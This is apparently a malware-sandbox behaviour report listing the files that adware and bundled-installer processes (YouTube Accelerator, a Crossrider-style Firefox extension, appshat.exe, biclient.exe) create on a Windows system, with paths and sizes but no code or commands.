C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA96F.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (199649 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8C7.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8D9.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2364_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1192_YouTubeAcceleratorService.log_tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2364.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1540_YouTubeAccelerator.log (14459 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1540_YouTubeAccelerator.log_tmp (3 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1540.log (77925 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2364_testlsp.log_tmp (150 bytes)

The process 2c511d52-7693-4ed4-9079-996023e7571e-4.exe:3968 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f196abaaa1976d3fc35e3e3f248afafc.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\93.js (957 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5c14a472c8ff73ed24766a0ebd9dae67.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d266b8d59a75b06c6415ec863f783f46.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\36a4a83520b5c7ed8460b114ca0ae693.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\996a90dbaa3ba7ea246bd8b387dad8a8.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d71c98931bb9e1e276dc5f261e188675.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c6d93c1087d74d3fc8efce80d81e1f3b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\11633f3d0d0f7ab70897ff5f6e8c416e.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\268.js (497 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2cb0240f69129f1cf7f53b34fba25fb0.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\054e216996b97c054c9a21cddc2f3a9e.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\64f43eb2170732ed757d66c92c4f22a9.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2818793ea9bfce6939860ab9c3a7901b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9bd1a3fa7bae842ed6c23f6478e04446.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5301716f4e8900b27ac84b1778e82579.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (925 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9e625825bcc15c20f11faa4be2233372.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ee2c2a5600b837c47ea29bf2aac75f0c.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\87efb3fe429a7a28ae4c6ca3762ce1d5.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c2ed8a54100a49453d1c6d652710aa01.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c0c67980b8574c2a91841001e377713e.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b35fff4960f0544522b5840aa09d5d02.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6768 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ef0ba38674a7ded763bc61958e5010a3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2750a3390ce5fa7edc9b8baa86afd725.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\19e85f8178fa2b73754c98251a3ac9ca.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\432c00f0cb9a8ba43a27e50fbe1aa86d.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9104a12b5ab7100d03859955cf1b846a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a8765e534d1585c4513c21b46631eff0.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f49d78de7fd982c0a23868d5286382e3.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a249c0d07eff2309cbd33826e6ddd304.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e90a080f0789a66ea88a8a2110b85b21.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\1511f4028a328efd35704bae99b76a30.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\314a054c34856d7f6a50ec94f4a36682.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\4ce4c04ffe20e1388a80249b9d746ff2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\244.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c72cb56a0fa8393e2c7d514ee2102995.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\796985dc3fae862c2c2e5da9dca97742.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5b296796e83249ffdd871ec5b32d567a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\46210dc42648ae8bba6ce51999460275.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d76f1e435f697b3193f58f5deb090c75.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\9bc4121e1bbf9c1c7010484e339b5d98.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\eec817b90c2bcfed7a4669909eae1cf2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b9aab23eca5557307a4b3106f6aec01f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b209e6dfd92b4703eb985bb07034c5d8.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\99a6bba1d1e51e3520947119c8ba05a4.js (5 bytes)

The process appshat.exe:2916 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\Dbsuiszoxonm.exe (5619310 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\FacebookIsGod.dll (923 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\Onvgw.tmp (456119 bytes)

The process biclient.exe:1224 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f5dab3d74e316e46a59f4bd1d5099978[1].htm (30803 bytes)

The process biclient.exe:688 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-mystartsearch[1].htm (4549 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3MVY8AVF.txt (286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula[1].htm (1802 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.0 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (1344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\67IZDFCJ.txt (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-sourceapp[1].htm (4319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ga[1].js (27098 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\796c42aebeb52f4eabf469c6ed8ad1c0[1].htm (40843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-youtubeaccelerator[1].htm (2713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe (1482965 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.6 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.7 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.4 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.5 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.2 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.3 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\F3NQDHIM.txt (546 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.1 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_sprite_full[1].png (4056 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UZN0MMKR.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9FALLDOB.txt (686 bytes)

The process biclient.exe:1684 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\49e8eb8101569a41ad990f2a534d0e40[1].htm (29493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (2112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_sprite_full[2].png (6573 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ajax-bidl[1].htm (767 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (68471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.5 (5224 bytes)
